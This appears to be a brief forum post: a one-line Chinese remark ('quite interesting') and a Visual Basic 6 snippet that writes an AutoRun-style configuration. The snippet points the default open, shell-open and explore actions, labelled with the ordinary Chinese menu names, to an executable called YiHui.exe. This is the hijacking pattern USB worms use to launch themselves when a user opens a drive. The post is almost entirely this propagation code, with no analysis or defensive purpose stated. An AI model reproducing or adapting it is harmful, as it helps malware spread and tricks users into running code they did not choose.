有点意思
Open App.Path & "\YiHui.inf" For Output As #1 Print #1, "[AutoRun]"
Print #1, "open=YiHui.exe"
Print #1, "shell\open=打开(&O)"
Print #1, "shell\open\Command=YiHui.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=资源管理器(&X)"
Print #1, "shell\explore\Command=YiHui.exe"
Close #1
